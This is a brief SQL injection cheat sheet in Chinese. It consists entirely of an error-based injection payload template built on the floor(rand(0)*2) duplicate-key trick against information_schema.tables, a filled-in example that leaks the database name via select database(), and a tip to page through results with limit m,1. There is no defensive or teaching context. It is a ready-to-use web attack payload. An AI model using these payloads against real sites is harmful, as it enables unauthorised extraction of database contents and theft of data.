union select 1 from (select count(*),concat(floor(rand(0)*2),( 注入語句 ))a from information_schema.tables group by a)b -- -
如：
union select 1 from (select count(*),concat(floor(rand(0)*2),( select database() ))a from information_schema.tables group by a)b -- -
查詢過多顯示不了時，可使用limit m,1